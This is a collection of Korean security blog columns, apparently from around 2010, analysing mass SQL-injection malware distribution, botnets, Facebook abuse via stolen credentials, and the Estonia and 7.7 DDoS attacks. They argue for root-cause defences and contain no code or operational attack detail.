이런 자동 로그인 유형의 프로그램은 개발이 쉽고 간단한 유형이라서 그리 어렵지는 않습니다. HTTP로 전달되는 패턴만을 맞춰 주면 되기 때문이죠. facebook에 유효한 로그인 패턴을 만들고 여기에 사용자 계정 정보를 실어서 전달 하였을 것입니다. 더불어 http 상에서 동작하는 facebook 서비스의 구조 파악이 그리 어려운 것도 아니기에 간단하게 파악을 하고 어떤 식으로 활용 될지도 프로그래밍 되어 있었을 것으로 예상 됩니다.

이전의 사고조사나 샘플 수집을 통해서도 유사 사례를 많이 발견 했었기에 충분한 내용으로 보입니다.

세번째는 스팸메일 발송이라고 했지만 Facebook에서 단순히 타켓이 불분명한 대상에게 보내진 스팸을 가지고 문제를 제기 했을리는 없습니다. 이것은 내부 구조. 즉 Facebook에 등록된 Friends list를 바탕으로 facebook이 위험을 느낄만큼의 타켓화된 메시지 발송이 이루어 졌기 때문에 문제가 된 것입니다.


최종 정리하면 개인 PC에 설치된 악성코드를 통해 개인의 접속정보를 빼내어 가고. ( 비단 facebook만일까요? ..절대 아니죠.) 빼낸 정보를 가지고 facebook 로그인 절차 및 내부 친구 리스트를 이용한 메시지나 쪽지 , 게시물등을 일거에 쓰거나 발송 하는 프로그램을 돌렸을 것입니다. 

Facebook의 대응은 한 계정이나 한 IP에서 과다한 접속이 발생 했을때 통제를 가하는 방법도 하고 있을 것이고 또 경고의 의미로 소송을 걸기도 한 것이구요.. ( 그러나 악성코드를 유포 했을 경우는 소송은 무의미 하겠죠? 누가 만들고 했는지도 모를테니..)  서비스 보호를 위한 어뷰징 대응은 시간이 지날 수록 강화 될 수 밖에 없습니다. 그만큼 사용자 불편도 증가하는 현실이 되겠지만 말입니다.

기사 자체만을 보면 문제는 없지만 내용상의 전개 오류가 많이 보이고 현실을 대변하지 못하는 듯 하여 부연 설명 해 보았습니다. 구조적 문제를 이용한 어뷰징도 앞으로는 더 문제가 깊어질 것으로 보입니다. 한국내에서 유행하는 해외서비스들 대부분이 대응책이 확실하지 않기 때문에 앞으로도 장기간은 문제가 계속 될 것으로 예상됩니다.


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Posted by 바다란

세계 50만대 이상의 웹 서비스 봇넷 배포지로.. 그리고..

 

관련기사: http://www.thetechherald.com/article.php/201033/6024/TTH-Labs-New-SQL-Injection-attack-hits-thousands-of-sites

 

일상적인 일중의 하나로 치부되고 있는 대규모 해킹은 지금도 맹위를 떨치고 있다.

Mass SQL Injection 도구에 의한 해킹 피해는 나날이 도를 더해가고 있는 상황에서 우리가 할 수 있는 일은 무력하기만 하다. 규모가 있는 사이트들은 자체 역량 및 외부 보안업체의 도움을 통해 보안성을 강화하고 문제를 해결 하지만 현재 피해를 입는 사이트들은 일부 보안이 된 사이트들을 포함하여 역량이 부족한 사이트들이 피해를 입고 있다.

 

결국 피해는 개인에게로 돌아오고 사회적 도구로서 자리매김을 확고히 한 IT 서비스의 근간을 흔들게 될 것임은 자명하다.

 

피해의 순서는 웹 서비스 정보 유출 -> 웹 서비스를 통한 악성코드 유포 -> 개인정보 유출 -> 다시 웹 서비스에 대한 Abusement로 이어진다. 유출된 사용자 정보는 금융 정보 및 ID/PW를 막론하고 다시 재활용되고 혼란스러워진다.

 

이미 지난 글에서 (http://p4ssion.com/241) “웹 서비스 보안의 불편한 진실이라는 항목으로 피해의 심각성과 향후의 문제들에 대해서 기술한 바 있다. 동일한 상황은 계속해서 이어 질 수 밖에 없다. 구글에 의해 표시된 악성코드 감염 수치는 55만개 이상의 웹 서비스에서 악성코드가 유포되고 있음을 나타내고 있다.

 

Malware count

Malware count

또한 국내의 사이트로 한정을 하면 1만대 이상의 웹 서비스를 통해 악성코드가 유포되는 현실을 볼 수 있다.

사용자 삽입 이미지

악성코드의 특성에 대한 내용은 이미 별도의 블로그(http://www.moonslab.com/1072)에 정리된 내용이 있어서 상세한 분석은 생략하며 특징만을 간략하게 언급 하도록 한다. 기술적인 분석에 대해서는 SANS의 분석 내용을 참고 하면 된다. (http://isc.sans.edu/diary.html?storyid=9397)

 

특징

 

현재 악성코드가 연결된 사이트는 .ru 라는 러시아 도메인을 가지고 있다. 그러나 등록된 주소는 중국으로 되어 있으며 실제 주소도 중국으로 판명이 되고 있다. 일차적인 특징으로 볼 수 있는 내용인데 중국의 공격자들이 이제는 도메인을 위장하여 손쉽게 판별되는 .cn 도메인을 넘어서 타 국가의 도메인을 활용하고 있음을 볼 수 있다.

 

두 번째로는 설치되는 악성코드의 다양함을 들 수 있다. 실제 분석은 되지 않았지만 구글에서 파악된 기본적인 내용을 살펴 보면 13개의 Trojan 9개 이상의 Exploit 코드들이 유포 되었음을 알 수 있다.  (http://www.google.com/safebrowsing/diagnostic?site=nemohuildiin.ru/&hl=en )

 

세번째로는 봇넷 채널을 직접 연결하여 Zeus Botnet과 연결된 가능성이 매우 높다는 점이다. 웹을 통해 악성코드를 유포하고 감염된 개인 PC들은 봇넷 Agent로 활용이 되는 것이다. 금융정보 및 키입력 정보, 화면 정보를 모두 유출 시키며 원격에서 직접 통제가 가능한 도구로 손쉽게 활용이 된다는 점이다.

 

Zeus Botnet은 국내에는 일반인들에게 잘 알려져 있지는 않지만 해외에서는 금융적인 피해가 직접 발생 하고 있어서 신경을 많이 쓰고 있는 Botnet이라 할 수 있다.

 

Black Market에서 가장 순도 있고 가치 있는 정보를 빼내고 직접 활용이 가능하다는 점에서 가치가 높은 BotNet 이라고도 불려 진다.

 

기존에 존재하던 웹 보안 장비들은 대부분 공격패턴을 인식하여 차단하는 유형으로 구성이 되어 있다. 그러나 공격기법은 계속 변화한다. 대소문자를 섞어서 쓴다든지 ASCII 코드값을 직접 입력 하는 유형등과 같은 변형된 공격기법은 헤아릴 수도 없이 많이 존재한다. 수없이 많은 패턴을 유지하는 보안장비들은 그만큼 속도가 느려질 수 밖에 없으며 보안적인 위협을 막기 위한 목적으로 도입한 장비들이 본 서비스의 접근 속도를 느리게 하는 요소로서 작용 할 수도 있다.

 

국내의 보안 현실 및 세계적인 보안의 근본적인 문제점은 대중과는 어느 정도 거리가 있는 사후 대응의 측면에만 집중하는 것이 현실이다. 근본적인 유포망을 없애지 않고서는 악성코드로 인한 개인 정보 유출의 피해와 또 유출된 개인정보로 인한 서비스망의 교란과 혼란은 개인과 서비스를 운영하는 기업 모두에게 큰 손실이 될 수 밖에 없고 문제는 점차 더 커질 수 밖에 없다.

 

 

 

빈익빈 부익부

 

빈익빈 부익부의 현실은 깊어만 간다. 현재의 IT서비스의 현황을 살펴보면 빈자들의 서비스에는 보안을 신경 쓸 여력이 없고 서비스 운영에만 중점을 두고 있어서 실질적인 이득 창출과는 약간 거리가 있게 느껴지는 보안 분야는 등한시 되고 있는 실정이다.

그러나 조금 만 더 멀리 보면 보안은 기업의 이익을 보호하고 신뢰를 형성하여 장기적인 안정성을 유지할 수 있게 한다는 점에서 큰 이득이 될 수 밖에 없다.

 

국내 및 해외의 보안 현실과 IT 환경을 맞추어 보면 가난한 기업들은 계속 해서 위험에 노출 되고 여력이 있는 곳들은 빠르게 문제점을 보완하고 비용을 적극 투자한다.  보안 관련된 기업측면에서는 모두가 수익을 창출 할 수 있는 사후 대응에 머물러 있으며 사전 대응과 위험요소에 대한 관리라는 측면에서는 활동이 미미할 뿐이다.

 

오래도록 가지고 있는 잘못된 편견중의 하나는 사고가 발생 한 뒤에야 중요성을 인지한다는 점이다. 그래서 국내외를 막론하고 수없이 많은 보안회사들은 사후대응에만 중점을 두고 있는지도 모른다. 이제 시대는 충분히 바뀌었고 많은 변화가 있었다. 변화를 따라가지 못한다면 소도 잃고 외양간의 기둥마저 무너질 수도 있다.

 

개인 PC를 공격하는 공격도구가 윈도우 시스템에 IE 사용자만으로 한정이 될까? 이미 작은 흐름에서는 타 운영체제 및 별개의 도구를 사용하는 시스템에도 충분한 시도들이 있었고 현재 공격이 눈에 띄게 드러나지 않는 것은 노력 대비 성과가 부족하기 때문일 것이다.

 

가난한 기업과 서비스 운영주체들은 힘이 없다. 역량이 부족하고 전문적인 지식의 도움을 얻고자 해도 돈이 없다. 또 문제를 수정 하고자 해도 어디가 문제인지 어떻게 고치면 되는지에 대한 협력은 절대적으로 부족하다. 비단 국내만의 문제가 아닌 전 세계적인 문제이다.

 

이젠 시대의 흐름에 맞게 변화를 크게 주어야 할 때이다.

 

역량이 있는 기업들 조차도 잦은 횟수로 변경이 되는 웹 서비스의 관리와 보안성에 대해 어려움을 겪고 있는데 하물며 가난한 기업과 서비스들은 무엇을 할 수 있겠는가?

 

국가나 산업차원에서 저렴하고도 신뢰 할 수 있으며 접근성이 높은 서비스는 반드시 제공 되어야만 하고 이제 머지 않아 출현 해야만 현재의 인터넷과 IT 서비스의 위기 상황을 개선 시켜 나갈 수 있을 것이다.

 

 

앞으로 발생 될 수 있는 위험들은 위험수준을 잘 관리하고 있는 기업들에게도 동일한 영향을 미칠 것이다. 대규모 웹 서비스 해킹을 통해 악성코드를 유포하는 행위와 서비스에 공통적인 요소를 공격하여 대규모 유포를 하는 유형으로 나눌 수 있을 것이다.  기발한 공격 기법은 이제 상상력의 한계에만 그치지 않는다.

 

http://www.eweek.com/c/a/Security/Infected-Widget-Compromises-Parked-Domains/

위의 기사는 Network Solution사에서 운영하는 Widget을 해킹하여 악성코드를 유포한 기사이며 현재는 중지 되었지만 단순히 Widget 배포처를 해킹함으로써 최소 50만개에서 최대 500만개 이상의 도메인을 통해 악성코드가 유포 되었음을 보여 준다.

 

빈익빈 부익부의 틀은 IT사회에서도 정확하게 적용이 된다.

그러나 이제 피해는 빈자와 부자를 가리지 않을 것이다.

시스템과 체계를 정비 하지 않는다면 앞으로도 오랜 기간 지속 될 수 밖에 없다.

 

특정 서비스의 구조적인 문제를 공격하는 웜이나 공격코드들은 2005년부터 있어 왔다. 앞으로 트위터나 페이스북의 서비스에서 문제가 생긴다면 그 피해 대상은 얼마나 될까? 더불어 공격코드가 스마트폰별 공격코드와 OS별 공격코드를 가지고 있을 때 피해 양상은 얼마나 될까?

 

상상하기 어려울 것이다. 그러나 아무도 눈을 뜨고 보려 하지 않는다.

 

빈자를 위한 도구가 결국엔 모든 것을 살리게 될 것이다. 거기에서부터 시작을 해야 하는데 아직 세계는 손쉽게 정보를 얻고 일정 수준이상의 기본지식이 필요함을 인식하지도 못하고 있다.

 

다음 블로그 글은 아마도 구조적 해킹 ( 일반적으로 서비스 어뷰징으로 불리워 지는 것)에 대한 것과 국외기업들의 서비스 연관, 악성코드와의 관련 등에 대해서 한번 정리해 볼 생각이다.

 

 

 -twitter: @p4ssion  -바다란 세상 가장 낮은 곳의 또 다른 이름

Posted by 바다란

올해 초에 기고한 글이지만 지금의 상황은 더 적절하게 맞아 들어가고 있다.
예상이 맞아 들어간다는 것은 더 안 좋은 길로 최적의 코스로 진입하고 있음을 의미한다.
디지털 페스트 혹은 인터넷 상에 연결된 다수의 Agent (사용자 PC 및 기타 단말 - 스마트폰)에 번지는 악성코드의 흐름은
근본적인 원인 제거가 되지 않음으로 인해 향후에도 오랜기간 지속될 문제이고 비단 클라이언트 단위만의 문제가 아닌 더 심각한 흐름으로 전환이 될 것이다.  아이튠즈나 유투브의 xss 영향은 아주 미세한 일부분일 뿐이다.

이것과 관련된 내용도 곧 컬럼으로 게재할 예정이다. 2010.07


zdnet 컬럼 기고 글입니다.


디지털 페스트

 

 

디지털 페스트라는 용어 자체는 존재하지 않는다. 비유적인 의미에서 사용된 용어라고 할 수 있다. 빠른 전염속도와 중세의 유럽을 공포에 가까운 치명적인 상황까지 밀어 넣은 전염병과 같은 상황에 인터넷이 놓여져 있음을 비유하고자 2008년 5월에 처음으로 디지털 페스트라는 제목으로 블로그에 글을 쓴 적이 있다.

 

 

왜 디지털 페스트인가?

접촉에 의해 무차별적으로 감염이 되는 현상이 있고 인터넷 상의 생활을 치명적인 상황까지 이끌고 인터넷으로 촉발된 문화와 경제활동에 치명적인 영향을 주기 때문에 디지털 페스트라 할 수 있다.  중세와 달라진 것은 없다. 단지 활동 무대가 실제의 생활이 아닌 인터넷의 생활로 옮겨졌을 뿐이다. 실생활과 밀접한 연관을 가질 수 밖에 없고 앞으로 더 커질 수 밖에 없는 인터넷의 영향력은 두말할 필요가 없다. 그만큼 위험성도 높을 수 밖에 없으며 앞으로 더 많은 영향을 미치게 될 것이다.

 

2008년 5월의 디지털 페스트 인식의 시작은 2008년 4월에 있었던 전 세계적인 웹서비스 변조 사건과 맞물려 있다. 세계적으로 50만대에 달하는 웹서비스가 변조를 당해 악성코드를 유포한 사례는 치명적인 결과를 초래 할 수 있으며 앞으로 그 결과를 목격하게 될 수밖에 없음을 밝힌 바 있다. 이제 그 빙산의 일각을 만나보자.

 

 

2010년 3월 스페인에서 발견된 사상 최대의 봇넷 조직은 개연성을 태연하게 증명하고 있다. 누구나 할 수 있는 예상이고 예상된 규모라고 할 수 있다. 

(http://www.abc.net.au/news/stories/2010/03/04/2835930.htm?section=world)

간략하게 기사를 살펴보면 1800만대의 PC에 설치된 악성코드를 원격에서 조정 할 수 있으며 이 모든 악성코드들은 개인PC에 대한 원격조정뿐 아니라 계정, 비밀번호와 같은 키 입력을 가로채고

모든 권한을 수행 할 수 있는 기능이라 알려져 있다. 현재 출현하는 대부분의 악성코드가 가진 특성과 동일한 특징을 가지고 있다. 운영자는 3~4명으로 알려져 있고 적발 당시 80만명에 해당하는 개인정보들이 발견 되었다고 한다. 다른 기사에서는 이 그룹들은 1800만대의 PC중의 일부들을 임대해 주고 비용을 받는 등의 목적으로도 활용 되었다고 한다. 1800만대의 좀비 Pc들은 포춘 1000 리스트의 절반에 해당하는 기업들과 40개 이상의 메이저 은행들의 네트워크에도 존재 하고 있었다고 한다. 공격자들이 과연 신비로운 기술을 이용해 1800만대의 PC를 감염시키고 운영했을까?

 

간략한 기사를 통해 우선 인식해야 될 부분들은 몇 가지가 있다.

규모적인 측면에서 1800만대에 해당하는 좀비 PC들의 네트워크를 어떻게 가질 수 있었느냐 하는 것이고 이 거대한 규모를 3~4명 정도가 운영 하고 있었다는 점 그리고 부분적인 임대를 통해 수익을 추구했다는 점이 가장 큰 특징으로 볼 수 있다. 개인정보의 전면적인 유출은 규모를 추산하기 어려울 정도이다.

 

그렇다면 1800만대를 어떤 방식으로 감염 시킬 수 있었는가 하는 점을 살펴 보아야 하고 보안 설정과 장비들이 고도로 도입된 세계적인 기업들과 폐쇄적 네트워크 환경을 갖춘 은행권에는 어떻게 침입과 전파가 가능했는지도 궁금 해야 한다.

 

일반적인 바이러스와 웜의 형태로는 1800만대라는 규모를 감염 시키기가 매우 어렵다고 볼 수 있다. 무작위적인 바이러스와 웜 전파 형태는 반드시 주요 감시망에 걸리기 마련이고 대규모로 확산 하는 것이 매우 어렵다. 그렇다면 유포나 전파 방식은 어떤 방식을 썼을까?

 

필자가 보는 방식은 다양한 제로데이 익스플로잇을 통하는 것과 불특정 다수에 대한 감염을 가능 하게 할 수 있는 웹 서비스를 통한 전파가 복합적으로 일어 날 때 가능할 것으로 보고 있다.

 

모든 문제점들이 공개적으로 논의 되지는 않는다. 문제가 있는 부분은 일정기간을 거쳐 패치나 보완 형식을 통해 문제점이 제거가 된다. 단 문제가 알려졌을 때만이다.

문제가 알려지지 않는다면 또 발견되지 않는다면 계속 진행이 된다.

 

 

< 참고 - http://p4ssion.com/112 디지털페스트 중>

 

위의 참고 이미지는 2008년 4월에 작성한 개요를 나타내고 있다. 이 당시의 50만대 가량의 웹서비스 변조 이슈가 향후 어떤 문제를 초래 할 수 있고 어떤 영향을 미칠 수 있는지에 대한 문제의식은 높지 않았고 지금도 별반 달라지지는 않았다. 조금 더 많은 사람들이 알아가고 있는 중이라는 의미 외에는 특별한 교훈도 주지 못한 상태이다.

 

순서적으로 대량 SQL 삽입 공격 (Mass sql injection) 공격을 통해 무차별적으로 웹서비스를 해킹을 하여 악성코드를 유포 하도록 하고 이 악성코드는 Zeroday 공격코드를 포함하도록 한다. 그리고 웹서비스를 방문하는 모든 사용자들은 감염이 된다. 이후에는 공격자가 운영하는 봇넷에 연결이 이루어 지고 그 이후에는 모든 개인적인 비밀을 잃어 버린 좀비의 상태가 된다.

 

2008년의 상황과 달라진 상황들도 현재의 악성코드 유포 현황을 관찰해 보면 존재 하고 있다.

 

현재 관찰 되고 있는 바로는 공격자들도 다운로드 되는 악성코드를 실시간으로 관찰하고 변경 하는 것을 볼 수 있다. 신규 악성코드 유형이나 제로데이 취약성이 발견되면 불과 몇 시간 내에 다운로드 되는 악성코드의 특징이 바뀌고 있다. 이것은 실시간으로 운영이 되는 유포 관리 봇넷이 별도로 관리되고 있음을 의미 한다. 공격자들의 진보는 상당히 빠르게 움직인다. 일반 웹서비스를 침입하여 특정 악성코드만을 다운로드 되게 하는 방식을 벗어나 유포되는 악성코드도 실시간으로 변경 하도록 구성이 되어 있다고 확신 한다.

 

유포관리 소규모봇넷 -> 악성코드 다운로드 서버 -> 악성코드 유포 서비스 -> 일반 사용자

일반사용자 PC에 설치된 악성코드들은 대규모 봇넷으로 다시 활용이 된다.

 

악성코드를 유포하는 서비스를 구축하기 위해 대량 공격을 감행하고 다운로드 하는 서버의 주소를 페이지 소스에 첨가 시킨다. 공격자들은 다운로드 서버에 올려지는 악성코드를 실시간으로 관리하면서 변경을 한다. 즉 새로운 공격은 공격코드가 출현하면 3~12시간 이내에 업데이트가 발생 되게 되고 일반사용자들에게도 직접적인 영향을 미치는 구조를 가지고 있다.

 

모든 악성코드는 이제 단 하루 정도면 갱신이 되고 업데이트 및 배포 구조를 가질 수 있는 상황인 것이다.

 

보안장비 및 보안도구들 조차도 하지 못하는 구조를 이미 구축한 상황에서 인터넷 자체는 심각한 상황에 처해 있음은 두말 할 필요가 없다. 디지털 페스트는 이미 현실에 깊숙이 들어온 형국이며 1800만대라는 수치도 빙산의 일각일 뿐이다. 댓수의 규모 보다 봇넷 그룹을 운영하는 자들은 얼마나 많을 것이며 중복된 봇넷 이외에도 얼마나 많은 수치의 봇넷이 존재 할지는 상상하기 어렵다. 악성코드를 유포할 수 있는 대규모 공격도구를 갖추고 인터넷 서비스를 공격하며 무차별적으로 악성코드를 사용자들에게 유포한다. 스마트폰 이나 IPTV등을 가리지 않고 인터넷을 보거나 연결이 되어 있는 대부분의 기기들에게도 동일한 위험성이 존재한다.

 

인터넷에 연결 되어 있으면서 위험으로부터 안전한 기기는 존재하지 않는다. 지금껏 문제가 발생 되지 않은 소프트웨어들은 존재하지 않으며 안전한 운영체제도 존재하지 않는다.  이것은 현실이다. 디지털 흑사병은 그 전파력만큼이나 심각성이 높으며 앞으로 영향력은 더 커질 것으로 예상 할 수 밖에 없다. 2년 전의 위기감은 그리 멀지 않은 미래에 현실화 될 수 밖에 없다는 위기감이나 막상 현실에 도달한 상황에서는 개인으로서 어찌 할 수 없는 현실에 좌절감을 느낄 뿐이다.

 

대책은 짧게 세 가지 정도의 큰 줄기를 가진다.

-                    Web application에 대한 취약성 제거

-                    Malware 유포에 대한 신속한 협의체 구성

협의체 구성도 해당 되지만 통일된 프로세스 및 대응체계를 만드는 것이 가장 중요하다. 2010년 들어 미국의 백악관에서 아인슈타인2 라는 일괄 대응이 가능한 장비를 전 기관에 배포 하는 움직임도 동일한 관점의 노력이다. 아직 그 누구도 제대로 시작하지 못했다.

-                    서비스 단위 정보유출 방지를 위한 노력

 

대책은 빠를수록 좋다. 이 대책 조차도 2008년에 작성한 글에 존재하고 있다. 디지털 페스트라는 글에서 작성된 내용을 간략하게 아래에 인용한다. 원문은 블로그를 참고 하시면 된다.

 

아무도 없는 길에서의 외로움은 상상 이상이다. – 바다란

 

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공격대상: 전 세계의 Web service를 공격하여 악성코드를 확산

공격목표: 전 세계의 개인 Client PC에 대한 권한 획득 및 중요정보 탈취

 

 

새로운 공격코드의 출현과 새로운 zeroday exploit의 출현은 피해를 기하급수적으로 늘릴 것입니다. 지금까지와 같은 몇 만대, 몇 십 만대의 규모가 아닌 몇 천만대를 기본으로 가지게 될 것입니다.

 

 

공격시나리오:

 

1.      신규 Zeroday exploit을 발견 혹은 구매 ( MS 운영체제가 가장 효율적이므로 MS 계열에 집중할 것이 당연함)

2.      Malware에 키보드 후킹 및 중요 사이트에 대한 접근 시 정보 탈취 코드 탑재

      S.korea 에서 발견된 DDos 가능한 Agent의 탑재 가능

      동일한 기능이지만 대규모 Botnet의 구성 가능

3.      Malware를 유포할 숙주 도메인에 코드 추가

    Malware를 유포하는 링크 도메인으로서 08.4월에 발견된 경우처럼 1.htm ,1.js등의 코드로 특정 사이트 해킹 이후 해당 파일의 추가를 할 것임

      국가에 따라 수십에서 수백여 개의 링크 도메인을 확보 할 것임

4.      대규모 도메인 스캔도구를 활용 주요 도메인에 대한 악성코드 유포루틴 Add

      검색엔진 활용 또는 자체 보유한 도메인 리스트를 활용하여 순차적으로 공격을 시행

      공격 시 취약성이 발견되면 자동적으로 DB권한 획득 및 획득한 DB의 권한을 이용하여 웹 소스코드의 변조 시행

      현재 발견된 코드는 DB 테이블의 내용에 악성코드를 추가하는 루틴 이였으나 조금 더 코드가 갱신되면 충분히 웹페이지 소스코드에 교묘하게 위장하는 것이 가능함

5.      대규모로 유포된 악성코드를 활용한 금전적인 이득 취득

- 특정 사이트에 대한 대규모 DDos 공격 현재 상태의 malware 유포 규모라면 대응 불가

-      특정 온라인 게임 ( 세계적인 게임- Wow? ) 및 금융 관련 사이트에 대한 키보드 입력 후킹 ( 사용자의 정보 유출 )

 

온라인 게임 및 온라인 증권사에 대한 위험성이 높음 . 부수적인 인증 수단을 가지고 있는 경우 ( ex : otp , secure card )를 제외하고는 모든 대상에 대한 위험성 존재

 

* 4번 항목에서 발견된 악성코드 유포를 위한 웹사이트 변조가 08.4월에 발견된 카운트만 전 세계적으로 50만개의 개별 웹서비스(일부 중복 결과라 하여도 예상 결과는 변하지 않음)에 해당됩니다. 악성코드 유포 규모는 최소 천만 단위를 상회할 것으로 추정되며 Zeroday exploit에 따라 그 규모는 몇 십 배로 늘거나 백만 단위 규모로 확대 될 것으로 예상됩니다.

 

 

 


Posted by 바다란

[zdnet 컬럼 게재글입니다.]

DDos
문제의 핵심과 변화 (에스토니아, 7.7) - 바다란

7.7 DDos 관련된 의견들이 1년이 지난 지금 시점에 다시금 많은 분야에서 회자 되고 있다. 문제에 대한 분석과 적절한 대응 체계에 대한 논의가 계속 되고 있는 시점에 DDos 논란의 핵심은 무엇인가 하는 명제에 대해서 명확한 설명은 아직 잘 설명 되지 않고 있는 듯 하다.

 

DDos에 대한 핵심적인 이해 분야에 대한 접근 방법도 상이한 점이 많이 있다. 공격 주체는 분명히 개인의 PC이며 공격을 받는 대상은 기업 및 기관의 서비스를 대상으로 하고 있다. 그러나 현재 논의 되고 있는 대책의 대부분은 공격 받는 대상의 보호대책을 강화하는 측면에만 머물러 있다. DDos 대응 장비의 도입과 체계의 도입은 단기적으로 타당한 방향이다. 그러나 근본적인 원인제거를 하지 않는 다면 미봉책에 머물 뿐이다. 공격자들은 보다 더 많은 공격자원을 더 은밀하게 모집하고 더 대량의 자원을 동원하여 공격을 할 것이다. 실제로 은밀하게 모집 하려고도 하지 않는다. 일반적인 웹 서비스를 해킹하여 악성코드를 사용자 PC에 설치하는 행위는 너무나도 일반적으로 발생하는 현상일 뿐이다.

 

DDos 공격에 대해 보다 더 많은 대응자원을 투입하고 대응 실무인력을 투입하는 것은 무제한적인 공격도구 확보가 가능한 공격자들에 비한다면 수술이 필요한 환자에게 붕대만을 처방하는 행위가 될 뿐이다.

 

비근한 예로 2007년에 발생된 에스토니아의 DDos 사례와 7.7 DDos의 차이점에 대한 근본적인 고찰도 부족한 현 상황에서 대책이라는 부분은 지속되는 공격에 대한 소모성 대책과 다를 바가 없다.

본 컬럼에서는 근본적인 DDos 공격의 변화를 간략하게 살펴 보고 앞으로의 대응에 중점이 되어야 할 부분에 대해서 짚어 볼 수 있도록 한다.

 

먼저 에스토니아를 향한 공격의 전체적인 동향은 다음과 같다.

 

사용자 삽입 이미지

일반적인 cyber 공격 유형이라 할 수 있는 통신 대역폭을 가득 채우는 공격과 함께 일반적인 혼란을 초래 할 수 있는 spam메일, Phishing, Web 변조 등이 동시 다발적으로 발생할 것을 확인 할 수 있다.

 

왜 에스토니아는 외부와 완벽하게 고립된 섬처럼 2~3주간에 걸쳐서 지속적인 피해를 입을 수 밖에 없었을까? 그만큼 취약한 국가였을까? 아니면 취약한 대응능력을 지니고 있었을까?

일반적으로 언론 기사를 통해서는 정확한 면모를 확인하는 것이 어렵다. 단순히 작은 국가가 대규모 공격에 의해 대응능력이 없이 무너졌다고 보는 측면이 강하다. 그러나 IT세상에서는 크고 작음의 판단 기준이 영토에 준하지는 않는다. 

 

에스토니아 국가 자체가 IT화를 통해 국가 발전을 도모한 결과 EU NATO 2004년 동시 가입될 정도로 동유럽에서는 발전화된 시도를 많이 한 국가로 볼 수 있다.  또한 전세계 최초로 인터넷을 통한 선거를 실시함으로써 실험적인 시도를 많이 한 동유럽의 정보통신 강국의 하나였다.

왜 동유럽의 정보통신 강국은 고립된 섬이 될 정도로 심각한 피해를 입었을까?

 

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<http://www.riso.ee/en/information-policy/projects/x-road>

 

위의 이미지는 에스토니아의 기반 정보 시스템에 대한 간략화된 이미지 이다. X-road라는 정보시스템을 인터넷 기반으로 유지하고 있음을 볼 수 있다. 또한 국가 예산 및 운영에 필요한 가장 자원이라 할 수 있는 인구 통계와 차량등록, 건강보험 관련된 내용이 통합되어 300여 개 이상의 국가기관과 연동되어 서비스 되고 있으며 금융기관과도 연동된 형태로 서비스 되고 있음을 알 수 있다. 각 연결지점에는 해킹이나 데이터 유출에 대비하여 암호화된 지점들을 모두 운영 하고 있음에도 불구하고 연결 자체가 되지 않도록 하는 DDos 공격에는 무차별적으로 무너질 수 밖에 없는 구조를 가지고 있었다.

 

에스토니아의 사례는 국가나 한 산업 자체가 밀접한 연관을 가지고 있고 공개된 통로를 이용할 경우에 치명적인 피해를 입을 수 있는 Cyber war의 전형적인 모습을 관찰 할 수 있다. 이 당시에 활용된 DDos 공격은 일반적인 DDos 공격 세트라고 할 수 있는 각 프로토콜별 자원 고갈형의 공격이 지속 되었으며 공격에 대한 대응은 외부 유입되는 트래픽을 일시적으로 모두 차단 함으로써 일차적인 회복을 할 수 있었다. 국가 내부의 망은 정상화 시킬 수 있었으나 외부와 연결 되는 모든 통로를 차단한 채로 지낼 수 밖에 없어서 고립된 섬으로 불려진 것이다.

 

 

2007년에 발생된 에스토니아의 공격이 일반적인 DDos 공격 이외에도 다양한 공격이 병행되어 진행된 것을 볼 때 이후 3년의 시간이 지난 지금에 이르러서는 더 치명적인 내용으로 전개 될 수 밖에 없음은 명확하다.

 

2009 7.7일에 발생된 DDos 공격의 경우 일반적인 DDos 공격과는 차이점이 존재하고 있으며 그 변화상을 일면 짐작 할 수 있다.  KISA의 자료를 통해 7.7 DDos의 현황을 살펴 보면 다음과 같은 이미지로 간략하게 요약이 된다.

 

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< ref: KISA >

 

1, 2, 3차로 세분화된 공격의 특징은 지정된 일시에 지정된 목표를 향해 예정된 공격을 수행 했다는 특징이 있다. 단순한 트래픽 소모를 위한 DDos 공격과는 별개로 서비스 자원 소모를 위한 DDos 공격도 병행되어 활용이 되었으며 해외로부터 유입되는 공격의 경우 손쉽게 차단되는 점을 이용하여 국내에 존재하는 대량의 좀비PC를 활용 했다는 점이 눈에 띄게 달라진 점이라고 판단된다. 

 

일반적인 DDos 발생시에 대응은 좀비PC를 조종하는 C&C ( Command & Control) 서버를 찾아 연결을 차단함으로써 좀비 PC에 설치된 공격도구를 무력화 시키는 방식으로 진행이 이루어 진다. 그러나 7.7 에서는 왜 예정된 3일의 공격을 무력화 시키지 못했을까?

 

그 이유는 이미 3일간의 공격이 세분화 되어 예정이 되어 있었기 때문이며 좀비 PC를 직접 통제하는 형태가 아닌 좀비 PC에서 명령이 존재하는 서버로 연결을 하고 추가적인 명령을 확인 하는 형태로 구성이 되어 있기 때문이다.

 

중요한 차이점은 기존의 DDos 공격 방식에 대한 대응으로는 어려울 수 밖에 없는 이미 예정된 공격이었다는 점이다.

 

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간단하게 정리한 DDos 형태의 변화이다.

DDos 공격 유형은 공격 형태에 따라 기술적인 분류가 가능하나 현재 나타난 여러 유형의 DDos 현상을 형태적으로 분석해 보면 연결타입과 공격유입소스라는 부분을 통해 구분을 할 수가 있다. 각 연결 형태와 공격유입 소스의 출발점에 따라 대응은 모두 달라질 수 밖에 없다.

 

에스토니아

연결타입 : Active – 해외의 Botnet을 이용한 공격

공격유입소스: Outside – 해외에 존재하는 좀비 PC 활용

 

일반적 DDos

연결타입: Active – Botnet을 이용한 공격

공격유입소스: Inside – 국가 내의 PC를 공격하여 획득한 좀비 PC Agent를 활용한 봇넷 공격 (알려진 유형의 공격이 일반적임)

7.7 DDos

연결타입: Semi Active – Botnet C&C 서버가 직접 통제하는 것이 아닌 좀비PC들이 여러 서버들에 접근하여 공격정보를 획득하는 유형

공격유입소스: Inside – 국가내의 PC를 공격하여 좀비 PC 획득 (알려지지 않은 유형의 공격 기법 사용으로 사전탐지 안되었음)

각 형태별 대응방식의 변화를 간단하게 도식화 하면 다음과 같다.

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DDos 공격에 대한 기본적인 기술대응은 논외로 하더라도 형태의 변화에 따른 심각성은 충분하게 나타난다고 볼 수 있다. 백신에서 사전탐지가 되지 않는 Malware성의 도구 유포와 반능동방식의 조정을 통한 공격 효과는 7.7 DDos에서 보듯이 명확한 효과를 나타내고 있다. 만약 1년이 지난 지금 시점에도 동일한 공격이 더 대규모로 발생 된다면 기술적인 대응을 일정수준 이상 끌어 올린 기업들 조차도 어려움을 겪을 수 밖에 없을 것이다.

 

